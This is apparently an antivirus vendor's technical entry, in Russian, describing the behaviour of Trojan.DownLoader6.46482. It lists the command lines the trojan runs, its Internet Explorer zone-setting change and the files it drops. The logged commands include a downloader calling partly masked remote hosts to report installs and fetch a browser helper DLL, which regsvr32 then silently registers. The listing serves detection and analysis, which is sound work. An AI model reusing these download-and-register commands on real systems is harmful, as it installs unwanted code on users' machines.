Trojan.DownLoader6.46482

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

%TEMP%\nst2.tmp\nsD.tmp "%PROGRAM_FILES%\OApps\dler.exe" -ppp "i={F4C50064-6730-4FBB-BC68-E28FF17DDAAA}&source=bundle&product=vb&browser=&machinebrowser=IEXPLORE.EXE" -uuu "http://tr###.nlsdfi.info//debug.php" -fff "status2.txt"
%PROGRAM_FILES%\OApps\dler.exe -ppp "i={F4C50064-6730-4FBB-BC68-E28FF17DDAAA}&source=bundle&timestamp=2012-6-27 12:23:08&product=vb&sign=" -uuu "http://tr####.nlsdfi.info/install.php" -fff "status4.txt"
%PROGRAM_FILES%\OApps\dler.exe -ppp "i={F4C50064-6730-4FBB-BC68-E28FF17DDAAA}&source=bundle&product=vb&browser=&machinebrowser=IEXPLORE.EXE" -uuu "http://tr###.nlsdfi.info//debug.php" -fff "status2.txt"
%PROGRAM_FILES%\OApps\dler.exe -ppp "i={F4C50064-6730-4FBB-BC68-E28FF17DDAAA}&source=bundle&product=vb&browser=&machinebrowser=IEXPLORE.EXE" -uuu "http://tr####.nlsdfi.info//debug.php" -fff "status3.txt"
%TEMP%\nst2.tmp\ns10.tmp "%PROGRAM_FILES%\OApps\dler.exe" -ppp "i={F4C50064-6730-4FBB-BC68-E28FF17DDAAA}&source=bundle&product=vb&browser=&machinebrowser=IEXPLORE.EXE" -uuu "http://tr####.nlsdfi.info//debug.php" -fff "status3.txt"
%TEMP%\nst2.tmp\nsA.tmp "%PROGRAM_FILES%\OApps\dler.exe" -ppp "i={F4C50064-6730-4FBB-BC68-E28FF17DDAAA}&source=bundle&timestamp=2012-6-27 12:23:08&product=vb&sign=" -uuu "http://tr####.nlsdfi.info/install.php" -fff "status4.txt"
%PROGRAM_FILES%\OApps\dler.exe -uuu "http://cd#.#lsdfi.info/_get/ddl/bho.dll" -fff "%PROGRAM_FILES%\OApps\bho.dll"
%TEMP%\nst2.tmp\ns3.tmp "%PROGRAM_FILES%\OApps\dler.exe" -uuu "http://cd#.#lsdfi.info/_get/ddl/bho.dll" -fff "%PROGRAM_FILES%\OApps\bho.dll"
%PROGRAM_FILES%\OApps\VFDInstall.exe
%PROGRAM_FILES%\OApps\dler.exe -ppp "i={F4C50064-6730-4FBB-BC68-E28FF17DDAAA}&source=bundle&timestamp=2012-6-27 12:23:08&product=vb&sign=" -uuu "http://tr###.nlsdfi.info/install.php" -fff "status.txt"
%TEMP%\nst2.tmp\ns7.tmp "%PROGRAM_FILES%\OApps\dler.exe" -ppp "i={F4C50064-6730-4FBB-BC68-E28FF17DDAAA}&source=bundle&timestamp=2012-6-27 12:23:08&product=vb&sign=" -uuu "http://tr###.nlsdfi.info/install.php" -fff "status.txt"

Запускает на исполнение:

<SYSTEM32>\regsvr32.exe /s "bho.dll"

Изменяет следующие настройки браузера Windows Internet Explorer:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'

Изменения в файловой системе:

Создает следующие файлы:

%TEMP%\nst2.tmp\ns7.tmp
%TEMP%\nsg9.tmp\inetc.dll
%TEMP%\nst2.tmp\nsA.tmp
%PROGRAM_FILES%\OApps\chromeaddon\included.js
%PROGRAM_FILES%\OApps\chromeaddon\manifest.json
%PROGRAM_FILES%\OApps\ChromeAddon.pem
%TEMP%\nst2.tmp\ns10.tmp
%TEMP%\nsy12.tmp\inetc.dll
%PROGRAM_FILES%\OApps\conf.ini
%TEMP%\nsdC.tmp\inetc.dll
%TEMP%\nst2.tmp\nsD.tmp
%TEMP%\nsfF.tmp\inetc.dll
%PROGRAM_FILES%\OApps\chromeaddon\background.html
%TEMP%\nst2.tmp\nsExec.dll
%TEMP%\nst2.tmp\ns3.tmp
%TEMP%\nsc5.tmp\inetc.dll
%TEMP%\nst2.tmp\fct.dll
%PROGRAM_FILES%\OApps\dler.exe
%PROGRAM_FILES%\OApps\config.ini
%TEMP%\nst2.tmp\System.dll
%PROGRAM_FILES%\OApps\VFDInstall.exe
%PROGRAM_FILES%\OApps\chromeaddon\._included.js
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\bho[1].dll
%PROGRAM_FILES%\OApps\bho.dll
%PROGRAM_FILES%\OApps\vfd-ddl_uninstall.exe